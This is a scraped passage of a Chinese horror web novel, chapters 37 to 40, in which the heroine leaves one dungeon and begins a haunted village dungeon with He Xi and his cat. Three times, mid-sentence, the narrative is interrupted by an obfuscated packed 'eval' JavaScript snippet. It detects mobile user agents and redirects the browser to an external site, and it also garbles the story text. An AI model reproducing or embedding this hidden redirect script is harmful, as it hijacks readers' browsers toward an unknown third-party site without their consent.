在梨乐一他们离开之后,陈斌龇牙咧嘴地站了起来,不行,他不能待在这里坐以待毙,他得想办法做些什么,无论是离开这里,还是去拦住刚才的那群人。 只不过被陈敛踹了两脚后,陈斌感觉自己的肋骨似乎断了两根,胸腔内传来一阵又一阵撕裂般的疼痛,他走不快,只能扶着墙慢慢挪。 不知过了多久,他终于来到了一楼。 一楼光线比楼上要昏暗许多,陈斌看不清前方的路,只能凭着记忆摸黑前行,好在他对高中部教学楼十分了解,知道下了楼梯顺着走廊走没几步就能走到大门。 就在他抬脚迈出教学楼大门的一刹那,周围环境突变,他发现自己来到了教学楼的天台上。 晚风猎猎,而他在天台边缘看到了一个无比熟悉的身影。 “你、你怎么会……” 彭思名慢慢转身对上陈斌惊骇无比的视线,他唇角高高扬起,浓黑的血液从他嘴里涌出,陈斌仿佛听见来自地狱的低语:“终于找到你了。” “啊——” 操场上,梨乐一好像听见了一声尖叫,她回头,但是身后只有黑漆漆的操场和死气沉沉伫立在黑暗中的教学楼。 梨乐一默默收回视线。 不远处,被捆成粽子的方华明突然开始剧烈地挣扎起来,嘴里发出痛苦的嚎叫,没过多久,他整个人像是漏气的气球一样慢慢地干瘪下去,原本还算饱满的皮肤迅速爬满沟壑,不到一分钟,他就变成了一具干尸。 众人沉默地看着这一幕,并不可怜方华明的遭遇。 副本结束,熟悉的眩晕感袭来,在被彻底传送出副本之前,梨乐一好像听到陈敛在自己身后低声说了一句:“既然找到了,那这一次就别……” 意识陷入黑暗的前一秒,梨乐一晕晕乎乎地想到:找到?他找到什么了? 37. 红衣 【副本:见鬼, 副本完成度(1-100%):历史平均完成度2.06%,此次副本完成度100%。 副本内受伤害程度(1-10级):胃肠黏膜因外力受损,导致少量呕血。 历史平均受伤害程度8.88级,此次副本内受伤害程度0.5级。 奖励结算将会在一小时内发送您的致富宝账号。】 片刻后—— “致富宝到账,50元。” 梨乐一看着天花板,长长地叹了一口气。她一天之内进了两次副本,赚的钱加起来居然还不如她以前进一次副本赚的零头。 到底是哪里出了问题?梨乐一想不通。 窗外飘来阵阵饭菜的香味,梨乐一的肚子随即咕噜噜地叫了起来,她转头一看,窗外天空被夕阳烧得火红,已经傍晚了。 也许今天黄历上写着她不宜进副本,所以梨乐一决定暂做修整,明日再战。她翻身下床,拿上手机和钥匙出门觅食。 梨乐一现在住的这房子年纪比她还要大,是那种老式的单元楼,楼外墙没有贴装饰用的瓷砖,就是灰扑扑的板砖。 出了房门,门口是一条长长的走廊,走廊的一侧连接着四户住户,两户位于走廊两端,两户位于走廊中间。 走廊的另一侧则是直直地延伸向楼下的楼梯。 梨乐一住的走廊中间靠右的这户,302,厨房的窗户和大门正对走廊,也因此,厨房的采光被通往楼上的楼梯给挡得严严实实的,就算在白天,厨房里不开灯也是漆黑一片。 再加上房子本身面积不大,一室一厅,但凡厨房外有人走过,房间里都能听得一清二楚。 所以,梨乐一拼命进副本刷金币,就是想给自己换个采光好、隔音也不错的房子。 梨乐一蹦蹦跳跳地顺着楼梯下到二楼,住在204的老太太嫌天气热,搬了根小板凳坐在门口,把门大敞着通风,见到梨乐一立刻笑起来:“闺女,出去吃饭呀?” 梨乐一点头,她经常能在楼里碰见老太太,一来二去两人也成了见面能说上几句话的关系。 老太太冲她招手:“闺女快过来,我上次不是跟你说我孙子回国了吗,他过几天要回来看我,到时候我介绍你跟他认识,你快过来看看我孙子刚拍的毕业照,可帅气了。” 梨乐一一个闪身躲过老太太的手,然后便一通小跑跑到走廊的另一端:“奶奶,我已经有男朋友了,您给您孙子再看看别的女生吧。” 老太太看着梨乐一匆匆离开的身影,摇着扇子坐回板凳里,嘴里念念有词:“什么男朋友啊,搬来两年了一次都没带回来过,成天就知道骗我这个老太婆。” 由于担心自己回去的时候,204老太太还在门口蹲着自己,梨乐一吃完晚饭特意在外面溜了几圈才回去。 还好,老太太已经回屋休息了,梨乐一没再碰见她。 回到屋里,梨乐一洗漱完毕后早早地便上了床,她闭上眼,在心里暗暗下定决心:明天一定要干一票大的! - 【副本:红衣 卦象:明夷卦。光明熄灭,世道黑暗,小人在上。 副本地点:李家村,副本时限:七天】 “叮铃铃,叮铃铃。” 梨乐一被一阵清脆空灵的声音唤醒,她睁开眼,发现自己躺在一间陌生且破旧的屋子里,泛黄的墙壁,漏风的窗户,以及萦绕在鼻尖的一股似有若无的土腥味。 身下坚硬如石板的床硌得她背疼,她从床上坐起来,继续观察周围的环境。 这里似乎是一间卧房,但装潢十分简陋,一张床,一个瘸了腿用砖块垫着的桌子,以及一个只有半扇门的衣柜。 她侧坐在床边,正对面是一扇窗户,窗户上挂着一串风铃,刚才她半梦半醒间,听到的就是风铃发出的声音。 透过窗户,梨乐一和正站在院子里的女人对上了视线。 女人见梨乐一醒来眼睛一亮,立刻走进她的屋子:“翠花,你可算醒啦,赶紧来吃午饭,就等你了。” 翠……翠花?! 坐到餐桌上,梨乐一依旧没有从突然改名为“翠花”的震惊中缓过神来,在这个副本里,她似乎成为了这户人家名叫翠花的小女儿。 这算啥,cosplay? 桌上除了来叫梨乐一的女人,还有两个男人,一个五十多岁,一个看上去二十岁出头的样子,应该就是这家的男主人和大儿子了。 梨乐一在桌边坐下后,男主人连个正眼都没有给她,倒是大儿子的视线颇有深意地在梨乐一身上来回打量了一番,梨乐一只当不知。 这户人家并不富裕,餐桌上只摆着一口大锅和一碟一看就十分干巴的馍馍。大锅里说是煮的蔬菜粥,但女人拿着勺子在锅里一舀,只舀起来一勺绿油油的野菜。 那碗没有米只有菜的蔬菜粥摆在了梨乐一的面前。 …… 然后女人又舀了一碗蔬菜摆在自己面前,锅里剩下的那点稀稀捞捞的米则是分别进了男主人和大儿子的碗里。 梨乐一看了一眼自己碗里绿油油的野菜,突然开口:“我也想喝粥。” 女人笑道:“傻闺女,你碗里的不就是么?” 梨乐一:“我想喝有米的粥。” 女人装傻:“什么有米没米,大家都是一样的,别废话了快吃饭。” 梨乐一闻言小脸一垮,把馍馍丢回盘子里:“那我不吃了。” “砰!” 男主人将碗往桌上一放,那双布满血丝的眼睛盯着梨乐一,虽然没什么情绪,却莫名让人觉得后背发凉:“让你吃饭就乖乖吃饭,哪那么多事?” 女人见状赶忙安抚男主人的情绪:“哎呀,孩子还小不懂事,你凶什么,有什么话不能好好说?” 她犹豫片刻,起身将大儿子面前的那碗粥端到梨乐一面前。 “娘!”大儿子急了,正准备说些什么,被女人瞪了一眼。 “行了行了,都别吵了,好好吃饭。”女人一锤定音,干脆利落地结束了这一小插曲。 末了,她看了一眼满脸写着不服气的大儿子,没头没尾地说了句:“只要熬过这段时间……就好了。” 梨乐一听不懂女人话中的深意,也懒得去琢磨,她心满意足地拿起馍馍,就着口味酸涩的野菜粥吃了起来。 经过刚才那一出,她如愿以偿地得罪了一家三口,而且还看明白了自己这个“小女儿”并不受家里其他人的重视。 男主人和大儿子压根没把她放在眼里,而女人看似宠着她,任由她胡闹抢了大儿子的粥,实则在将大儿子的粥端到她面前时,无论是语气还是表情都充满了被迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441015|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妥协的无奈。 真是有意思。 这一家三口轻视她不在乎她,但又似乎对她十分忌惮,这可不像是一家人的相处模式。 吃完午饭,梨乐一没着急出门去找其他的玩家,而是在屋里四处打量起来。 除了他们刚才吃饭的堂屋之外,正房还有两间房间,梨乐一猜测这两间屋子应该是男女主人和大儿子的卧室。 只不过两间屋子现下都锁着,梨乐一进不去,她又去院子里逛了一圈,大致了解房子的结构后,便出门去跟其他玩家汇合了。 临出门前,她瞄了眼挂在客厅正中央的日历,农历七月十四,她忍不住在心里默默吐槽一句,这可真是个好日子。 李家村建在一处背风坡上,植被稀疏,周围群山环绕,整个村子看上去虽然落后贫穷,却也给人一种远离世俗的宁静祥和感。 大概是因为刚吃完午饭、村民们都在屋里休息的缘故,梨乐一从村口一路走来都没遇到什么人,玩家就更别提了。 她不打算跟无头苍蝇似的在村里乱逛,寻了个视野宽阔的路口蹲下,准备在这里蹲守其他玩家。 很快,一道清瘦高挑的身影出现在道路的尽头。 梨乐一两手放在额前挡光,眯着眼看向来人。 长衣长裤,白到在阳光下发光的皮肤,和周围灰扑扑的景象格格不入的淡漠清冷如霜雪般的气质。 啊,好熟悉的画面。 那人几步来到梨乐一跟前,替她挡去了午后灼灼的日光,梨乐一仰头呆呆地看着那张俊美异常,即使逆光也让人有些不敢直视的面容。 啊,好熟悉的人。 “好巧。”鹤溪开口,“又碰到你了。” 梨乐一总感觉有哪里不太对劲,但一时又说不上来是哪里不对劲,索性抛开疑惑,冲鹤溪咧嘴笑道:“好巧。” 鹤溪偏过头,以拳抵唇轻轻咳嗽两声,而后蹲下平视梨乐一:“你是在这里等其他玩家吗?” “嗯。” “那一起吧。” 鹤溪和梨乐一并肩蹲在墙根,顺带替她挡了阳光。梨乐一看了眼鹤溪身上的长袖衬衫,觉得闷热的空气在他到来后突然变得凉爽了起来。 梨乐一正准备问鹤溪是不是和自己一样,这次副本的出生地也是在村民家里,余光就瞥见不远处有一个圆润的身影朝着这边快速跑来。 她顿时乐了,用胳膊肘拐了拐鹤溪:“你看,那边那只肥猫像不像小帅?” 鹤溪默不作声转头看她。 “喵~” 梨乐一口中的“肥猫”跑到鹤溪身边,夹着嗓子亲昵地蹭着他的裤腿,那熟悉的大脸盘子除了小帅还能有谁。 梨乐一震惊地指着小帅:“它不是学校的流浪猫吗?怎么会出现在这里?” 鹤溪解释:“小帅不是流浪猫,它是我在之前副本里捡到的,可以和我一起进入副本。” 梨乐一张着嘴和小帅大眼瞪小眼瞪了好一会,才接受了这个事实:“原来是这样。” 沉默片刻,梨乐一又问:“它跟你进入副本,它不怕吗?” 鹤溪:“它不怕。” 说完,鹤溪从随身的斜挎包里掏出一根猫条就开始喂了起来。小帅胃口依旧很好,不到半分钟,一根猫条便下了肚。 梨乐一:“……行吧。” 38. 红衣 没过多久,玩家们陆陆续续与梨乐一二人汇合, 这次进入副本的玩家加上梨乐一和鹤溪一共有八人,五男三女,大家看上去年龄都不大,二十岁出头的样子。 令众人松一口气的是,这次的副本里没有新人,少了一个重大的不稳定因素,也省去了向新人介绍副本规则的时间。 “你们午饭吃的是什么?我喝的那什么野菜粥难吃死了,又酸又涩,还黏糊糊的,想想就恶心。馍馍也硬的跟板砖一样,我腮帮子都嚼疼了。” 最先说话的是八个人中年纪最小的男生,他叫千野,今年二十岁,是名在校大学生,身着白T牛仔裤,整个人看上去清爽又精神。 他回忆起中午吃的那顿饭,五官顿时拧作一团,还隐隐有点反胃。 千野开了这个头之后,众人纷纷露出感同身受的表情,开口吐槽。 “就是就是,我从来没吃过这么难吃的东西,还不如让我喝白开水呢。” “我那户还行吧,有点咸菜,能就着下馍馍,那个汤我喝了一口就没喝了,被我那个‘娘’说浪费,拿过去喝完了。” …… 在众人吐槽的时候,梨乐一默默站在一旁装她的“副本菜鸟”人设,至于鹤溪,他安安静静地立在她身旁,也没有开口的打算。 小帅吃完猫条便离开了,梨乐一看出鹤溪不愿意让其他玩家发现小帅的存在,便也没有多说些什么。 “你们不觉得奇怪吗?”一个齐刘海、戴着眼镜,穿着宽松休闲的女生开口,她叫左思青,也是一名大学生。 “这村子就算再穷,桌上也不会一点自家种的蔬菜也没有,只吃野菜吧。” 其余人闻言,脸上表情纷纷变得凝重起来。 这一点的确有些可疑。 鹤溪视线一一扫过众人,语气平淡地道:“我出门前看过我住的那户人家的米缸,里面都是去年的陈米。” 千野若有所思地开口:“菜是野菜,米也是陈米,这个村子难不成遭遇了旱灾,今年一点收成也没有?” “不排除这种可能。” 一道沉稳的女声响起,梨乐一循声看去,说话的人穿着一身黑色的运动装,脚踩一双运动鞋,长发高高束起在脑后,一副十分干练的模样。 在刚才的自我介绍里,梨乐一得知现在说话的这个女生叫沈雪珍。 沈雪珍沉吟片刻,眼中浮现出一丝不解:“这个副本开局给出的卦象说‘光明熄灭,世道黑暗,小人在上’,黑暗说的可能是就是这次旱灾,但小人跟旱灾会有什么关系?” “也许不是旱灾。”鹤溪接过话,“如果真的是干旱,餐桌上应该就不会有野菜粥了。” 确实,干旱时期水资源极其宝贵,平时都得省着喝,怎么可能会拿来煮粥。 再者,村子周围植被虽然少,但是稀稀疏疏也长了几棵树,树木枝叶茂盛,一点也不像是缺水的样子。 “一看你就没经历过几次的副本,副本里的事情怎么能用常理来判断呢?” 站在鹤溪身边的男人开口,他叫徐传海,今年26岁,据他所说,他在现实生活中的职业是一名律师。 鹤溪没什么表情地看了徐传海一眼。 徐传海面带微笑,徐徐说道:“村里闹饥荒是事实,开局的卦象只是给我们一个提示和大致的调查方向。要想知道到底是不是旱灾引起的,还是要去找证据证明才行。妄下断论有可能会让我们判断失误,陷入危险。” 他再自然不过地开始安排起众人:“接下来,咱们就分散到村子的各处去寻找线索吧。” “不过大家需要注意的一点是,我们现在的身份是‘村民的孩子’,所以我们‘理应’知道村里闹饥荒的原因。因此,在调查的时候我们不能去直接问村民,就算要问,也只能旁敲侧击地问。” 众人对徐传海的话没有异议,简单交待了几句便准备离开。 左思青四处看了看,最后朝着梨乐一走过来,但没等她开口叫住梨乐一,鹤溪便走到梨乐一身前,低头看着她:“走吧。” “啊?”梨乐一有点蒙,她准备单独行动的,但对上鹤溪的视线之后,到嘴边的拒绝莫名其妙地变成了一个好字。 左思青看着两人并肩,渐行渐远的背影,有些尴尬地撇了撇嘴,转身朝另一个方向走去。 - 梨乐一跟着鹤溪走出一段路程,发现他并不是漫无目的地闲逛,而是有目的地在朝某个地方走去,遂开口问道:“你要带我去哪?” 午后的阳光有些刺眼,鹤溪那双好看的桃花眼半眯起来:“井,我出来的时候问了村子里水井的位置,我们现在去确定一下井里还有没有水。” 梨乐一暗自咋舌,没想到鹤溪早就想到了旱灾这一点。 两人很快便来到了村里的水井前。 梨乐一举着手机,探头往井里看去,井下的水黑漆漆的,深不见底,她收回手机。 有意思。 村子里并不缺水,却没有粮食蔬菜,中午吃饭时梨乐一留心观察过,她那便宜“爹娘”手上都有常年劳作形成的老茧,皮肤也十分黝黑,一看就是经常下地干活的人。 所以李家村的村民不是偷懒不想种粮食,而是不能种粮食。 而且她刚才和鹤溪一路走来,经过了好几户人家的院子,但没有一家的院子里传出来家禽的叫声。 李家村正在经历着一次非常严重的荒年。 确定了村子里不缺水这一事实后,梨乐一跟鹤溪去到一旁的树荫下坐着,暂作休息。 “咕噜噜。” 梨乐一的肚子突然发出抗议,鹤溪听到后一边笑一边问道:“你中午没吃饱?” 梨乐一不好意思地点了点头。 虽然中午她抢了大儿子的米粥来喝,但那点米还不够她塞牙缝的,她在刚才众人讨论的时候就已经开始感觉到饿了。 鹤溪没说话,而是伸手从斜挎包里掏出一块威化饼干递给梨乐一。 梨乐一惊喜地接过:“这是你从外面带进来的?” “嗯。” 梨乐一毫不吝啬地夸道:“你可真有先见之明。” 见梨乐一准备将饼干掰成两块,鹤溪连忙阻止:“我已经吃过了。” “这样啊。”梨乐一也不跟鹤溪客气,嗷呜一口便将饼干全部塞进了嘴里。 鹤溪笑着看她:“还要吗,我这里还有。” 梨乐一摇头:“不了不了。”她指不定什么时候就离开副本了,鹤溪还不知道要在这里待上多少天,剩下的零食还是得给他留着。 鹤溪没有坚持,拉好包包拉链,安静地在梨乐一身旁坐着。 没过多久,不远处缓缓走来一个提着水桶的女生。 女生是村里人,个子不高,很瘦,皮肤也不像常年在地里干活的人那样黝黑,穿着一条黄色碎花裙,裙子的样式虽然旧,却很干净。 “喂,你!” 女生走到井边将桶放下,对着树荫下休息的梨乐一颐指气使地道:“过来给我打水。” 梨乐一一动不动,装没听到。 “聋了吗?叫你你听不见呀!” 女生骂骂咧咧地走过来,在看清楚梨乐一旁边坐着的鹤溪后,话语一顿。 她将耳边的碎发捋到耳后,声音比刚才软了些,对着梨乐一道:“你是哪家的,我叫你给我打水呢。” 对于不尊重自己的人,梨乐一向来也是不会客气的,她敏锐地抓住女生话中的漏洞反问道:“你以前没在村子里见过我吗?” 女生脸上表情一僵,随即语气不自然地道:“见过,当然见过,回去我就告诉我娘,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444664|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你爹收拾你!” 女生转而看向鹤溪,声音更加温柔:“哥,你能帮我打桶水吗?我一个人提不动。” 不等鹤溪开口,梨乐一便抢先一步拒绝道:“他不会帮你打水的。” 女生白了梨乐一一眼:“他没长嘴吗,要你替他回答?” 鹤溪淡淡道:“我听她的。” 梨乐一闻言冲女生傲娇地扬起下巴,她牵起鹤溪的手站起身,昂首挺胸地从女生身边走过:“我们走。” 女生愤愤的声音从身后传来:“拽什么拽,连陆直哥的半根手指头都比不上……” - 经过一下午旁敲侧击的打听,梨乐一终于知道了自己住的那户人家男主人叫李从福,女主人叫王萍,大儿子叫李鹏。 晚饭之前,众人在中午讨论的地方再次集合,交换自己收集到的信息。 千野一数人头,发觉不对:“黄林泽呢?” 黄林泽是跟徐传海一起离开的,众人闻言纷纷看向徐传海。 徐传海清了清嗓子,不紧不慢地道:“我跟他在山后那条河查看的时候,他被村子里的小孩给推进了河里,回去换衣服了。” 话落,道路尽头便急急忙忙地跑来一个人,正是回去换衣服的黄林海。 大家进副本都没带换洗衣物,如果要换衣服便只能穿当地村民的衣服。 黄林海瘦瘦高高的,但他身上穿的那件带补丁的衣服明显不合身,衣服裤子都短了一大截,紧紧贴在他身上,一看就是给七八岁的小孩穿的。 千野一言难尽地看着黄林海:“你没让他们给你拿套大点衣服吗?” 黄林海局促地往下扯了扯衣角:“他们说只有这件了。” 众人没有多问,将注意力从黄林海身上收回来,交换了各自下午在村子里找到的信息。 他们发现村子里不仅有水井,甚至于翻过这座山,山后还有一条河,村子里根本不缺水。 一个不缺水的村子,却没有粮食蔬菜,连最常见的鸡鸭这种家禽都没有,顿顿只能吃野菜和前一年屯的食物,要多奇怪有多奇怪。 但关于这场饥荒再多的消息,他们就没能打听出来了。 毕竟他们现在的身份是“村民的孩子”,他们应当知道造成饥荒的原因,如果问多了暴露他们不是这个村的村民,谁也不知道会遭受到什么样的惩罚。 在众人交谈期间,太阳逐渐落山,夕阳将众人的脸烧的火红。 徐传海看了一眼天色:“时间不早了,今天就到这里吧,明天早上七点,还是在这里集合。” 众人闻言散开,往各自的家走去。 梨乐一和鹤溪在岔路口分别,临到分别前,鹤溪悄悄往梨乐一手里塞了一个东西,梨乐一拿起一看,发现是巧克力能量棒。 梨乐一想还给鹤溪,鹤溪却握住她的手,不让别的玩家看见她手里的东西:“我还有很多,这个你吃。” 说完转身便走,丝毫不给梨乐一拒绝的机会。 梨乐一只好将能量棒收好放进兜里。 “你们两个刚才在说什么悄悄话?”那位名叫左思青的女玩家突然出现在梨乐一身旁,亲昵地挽上她的胳膊。 梨乐一笑笑:“没说什么。” 左思青又问:“你跟那个叫鹤溪的男生很熟吗?” 梨乐一想了想,觉得说实话似乎也没有什么关系,便老实答道:“我们在上一个副本里是一起的。” 左思青诧异:“居然还有这么巧的事情,我从来没遇到过之前的玩家,不过我才过了三个副本,以后也说不准会不会再遇到以前的那些玩家。” 她说着,冲梨乐一笑眯眯地道:“我看你好像经验也不是很丰富的样子,我们两个都是新人,在这个副本里互相照顾吧。” 梨乐一:“……好。” 39. 红衣 村子里的天黑的很快,不到七点便全黑了。 梨乐一简单地刷了牙洗了脸便回到自己的屋子,准备先躺上床养精蓄锐,等到夜深人静的时候再出去作死。 刚在床边坐下,便看见对面窗外,李鹏正站在院子里直勾勾地盯着自己。 李鹏盯着梨乐一的目光让她感觉很不舒服,不像是在看自己的妹妹,而是像在看一个女人,一个和他没有血缘关系的女人。 和梨乐一对视之后李鹏脸上也没有浮现出任何慌乱的表情,只是阴森森地冲她一笑,便转身回了自己屋。 梨乐一莫名其妙的收回视线。 她能感觉出李鹏对自己的恶意和不加掩饰的yu|望,但他却像是在顾忌着什么不敢靠近自己。 梨乐一正想得出神的时候,门外却突然传来了一阵挠门声。 李鹏和李从福夫妻俩都进屋了,院子里十分寂静,这也显得那阵挠门声格外清晰,尖锐急促,一下一下,来回刮擦着梨乐一脑中那根紧绷又兴奋的神经。 她没想到这次竟然会这么快。 整理好心情,梨乐一来到门边,深吸一口气拉开门,跟蹲在门口、嘴里叼着半块馍馍的小帅来了个大眼瞪小眼。 ……howoldareyou? 小帅不理会梨乐一震惊又无奈的表情,绕过她大摇大摆地进屋,跳上床,寻了个舒服的姿势趴下,开始享用自己的晚餐。 梨乐一蹲到它面前,点了点它的大脑袋:“你不是鹤溪的猫吗,你不跟他一起睡,老来我这蹭床干什么?鹤溪嫌你脏?” 小帅不理她,咬了一口馍馍。 “你这块馍馍是鹤溪给你的?” 小帅:嚼嚼嚼。 梨乐一叹了口气,坐回床上,拿出白天鹤溪给自己的那根巧克力能量棒,和小帅一起吃了起来。 - 深夜,吃饱喝足的小帅盘在床尾睡着了,梨乐一轻手轻脚的下床,没有惊动它。 梨乐一住的是西侧房,她鬼鬼祟祟地出了屋来到李从福夫妇和李鹏住的正房前。 白天时,这一家三口的卧室门都锁着,她没看见里面是个什么情况。但是,越不让她看的东西,她就越想看,这是每个炮灰NPC都要具备的良好品德。 梨乐一来到李从福夫妇卧室的窗外,却不想他们卧室的窗户上竟然糊了一层报纸,把里头的景象挡得严严实实的。 梨乐一气性顿时被激起来了,她在裤兜里掏出来一根细铁丝,从两扇窗户中间的缝里伸了进去。 李从福夫妇屋的窗户和她屋的窗户一样,都是那种老式的插销,梨乐一准备试试用铁丝勾住里头的插销,然后把它给抬起来。 在感觉到铁丝的另一头挂住了什么东西之后,梨乐一小心翼翼地举起铁丝,窸窸窣窣一阵捣鼓之后,随着一声细微声响,梨乐一面前的窗户缓缓朝里打开一道缝隙。 成了! 梨乐一兴奋地凑上前。 屋子里黑漆漆的,什么都看不清,梨乐一便又凑近了些。 眼睛适应黑暗之后,屋内的陈设逐渐开始浮现,屋子里空荡荡的,以梨乐一所站的角度能看到的东西十分有限,她就看到了斑驳的墙面,和两个黑黑的、类似于床头柜一样的东西。 可柜子怎么会放在房间中央呢? 梨乐一屏息凝神站在窗边等了一会,听到屋里的李从福王萍似乎没有被她吵醒,便壮着胆子将窗户又推开了一些。 这次她看清楚了,清楚的不能再清楚了。 屋子里什么家具都没有,没有衣柜,没有床,房屋中央摆的也不是什么床头柜,而是棺材,两具冷冰冰的棺材。 梨乐一隔着窗户静静地看着屋内的棺材,总感觉黑暗中有什么人在注视着自己,一阵阴风从屋里吹出来,她忍不住打了一个寒颤。 “你在干什么?” 一道声音倏地响起,梨乐一被吓了一跳,捂着狂跳的心脏转头看向声音来源,就看见李鹏不知何时出现在她身后,目光阴鸷地看着她。 李从福夫妇睡的是棺材,李鹏呢,会不会也跟他们一样,睡的是棺材?那这一家子到底是人是鬼? 梨乐一脑子里问题一个接着一个地冒出来,最后只剩下四个大字在她脑中五颜六色地闪烁着: 我要死啦! 她将窗户重新合上,虽然后背早已被冷汗浸湿,但仍不闪不避地迎上李鹏猥琐黏腻的目光:“我晚上没吃饱,来问问娘有没有吃的。” 李鹏扯起嘴角冷笑了一声,明显不信梨乐一的话。他视线将梨乐一上上下下扫了好几遍,最后意犹未尽地落在梨乐一的脸上,莫名其妙地说了一句:“可惜了。” “你说什么?”梨乐一没听清他说的话。 李鹏忽地笑了,冲梨乐一露出那一口被烟熏得又黑又黄的牙,三角眼微微眯起,上前一步:“其实你——” “喵!” 一声尖锐急促的猫叫划破梨乐一和李鹏之间暗流涌动的氛围。 李鹏只觉小腿传来一阵剧痛,他猛地吸气退后一步,低头看向脚边,就看见左小腿上多出了三道整整齐齐的划痕。 一道黑色的影子从他脚边“嗖”地一下窜过去,李鹏目光追过去,就看见了一只竖起尾巴挡在梨乐一面前,正朝自己呲牙的大脸猫。 他先是一愣,随后盯着小帅目光发直,无意识地咽了口唾沫:“哪里跑来的野猫?” 梨乐一心中顿时警铃大作,她想起餐桌上那不见一点油水的菜,立刻弯腰将小帅抱进怀里。 这可是鹤溪的猫,光看他将小帅养得这么敦实就知道废了不少心思,小帅要是出了什么事,他肯定会伤心的。 李鹏见状轻嗤一声:“瞧你那样,一只野猫而已,也值得这么护着?” 小帅还在朝李鹏呲牙,嗓子里接连不断地发出低吼声,似是想要吓退李鹏。 李鹏看了眼李从福夫妻屋子的窗户,不欲与梨乐一在这里多说,意味深长地留下一句“你还是赶紧回去睡觉吧”,便转身进了自己的屋子。 梨乐一揉着小帅的脑袋,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455180|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李鹏离开后,也回了自己的屋子。 危机暂时解除,小帅进屋之后便从梨乐一的怀中跳到床上,在床尾缩成一团继续睡觉,梨乐一摸摸它的脑袋,回想李鹏走前对自己说的最后一句话。 她的第六感告诉他,李鹏并不是出于好心提醒她赶快睡觉,而是以一种事不关己高高挂起的口吻劝她回来睡觉。 难道说,在她睡着之后会发生什么事? 那她还——真就要睡睡看了。 梨乐一翻身上床,双手放于肚脐眼处,安详地进入睡眠。 只不过刚睡下没多久,梨乐一便被窗边传来的窸窸窣窣的声音吵醒了。 她迷迷糊糊地朝那边看去,就看见一张惨白的脸贴在窗户玻璃上,那双布满血丝的眼睛直勾勾地看着自己,和自己对视之后,那张人脸立刻咧开一个扭曲夸张的笑: “闺女,你醒啦?” 梨乐一后背一凉,大脑瞬间清醒,噌地一下从床上坐起来。 窗户玻璃上贴着的人脸离远了一点,梨乐一这才看清楚,那不是什么来索命的怨鬼,而是王萍。 她的脸色之所以看上去惨白,是因为她手里正提着一个白色的灯笼。 “既然醒了,就赶快出来吧。”王萍在窗外冲梨乐一招手,恍眼一看,真有站在黄泉路边招手鬼的那味了,她的笑容也在白光的映衬下更显阴森。 梨乐一平复了一下心情,起床走出去,才发现门外不止王萍,李从福也在,但李从福瞥了她一眼便语气不耐地催促道:“赶紧走吧。” 夜深了,村子里一片寂静,只听得到梨乐一三人匆匆赶路的脚步声。 李从福走在最前面,王萍提着灯笼走在中间,梨乐一殿后。王萍时不时地就要回头看一眼她还在不在,像是生怕她半道溜了似的。 梨乐一想起自己不久之前在主屋看到的那两口棺材,再看看前面大半夜不知道要带她去哪的二人,脚下的路越走越像黄泉路。 走出一段路程之后,梨乐一还是按捺不住好奇问道:“我们现在要去哪啊?” 王萍回头,冲她露出一个森然诡异的微笑:“等到了你就知道了。” …… 梨乐一发现李从福领着他们三人正往山上走,月光幽幽照亮前路,转过路口,梨乐一看见道路尽头有几点白光漂浮在黑暗里,走近后发现是其他和王萍一样,手里提着白灯笼的人。 梨乐一还在人群中看到了鹤溪以及几名玩家的身影。 她有点懵。 王萍李从福不是带她去找死的吗?为什么其他玩家也在? 其他玩家也很懵逼,大半夜的不让睡觉被叫起来在村口喂蚊子,还举着白灯笼跟招魂似的,这谁受得了。 没过多久,又陆陆续续地来了几户人家,但无一例外,全是玩家所在的人家。八名玩家面面相觑,面色变得越来越凝重。 许是因为人到齐了的缘故,终于有人站出来向一头雾水的玩家们解释当下的情况。 “我们现在要去河边,放河灯。” 40. 红衣 众人听到这个解释,原本悬着的心顿时沉了下去。 要知道再过不久可就是中元节了,白天的时候不放,偏偏在深更半夜,连路都看不清楚的时间去放河灯,要说这其中没有鬼,鬼都不信。 但却没有人敢提出异议,就连胆子最小的黄林泽听后也只是缩在一旁瑟瑟发抖。因为他们心里清楚,今天这河灯,他们非放不可。 只有去了,他们才能离这个副本【怨】背后隐藏的执念更进一步。如果不去,或许他们全部人都活不过今晚。 夜色越发浓重,白色的光点在狭窄的山路上连成一条扭曲的线,缓慢地移动着。 山路崎岖狭窄,多数时候仅容一人通过,但村民们的脚步却丝毫没有放缓的迹象。玩家们被分散在提着灯笼的村民中间,根本找不到机会说悄悄话,只能沉默地跟在村民身后。 梨乐一跟鹤溪一前一后地走着,她能听见身后鹤溪略显急促的呼吸声和偶尔发出的几声咳嗽,也能感觉到鹤溪的衬衫衣角时不时地便会扫过自己的手背。 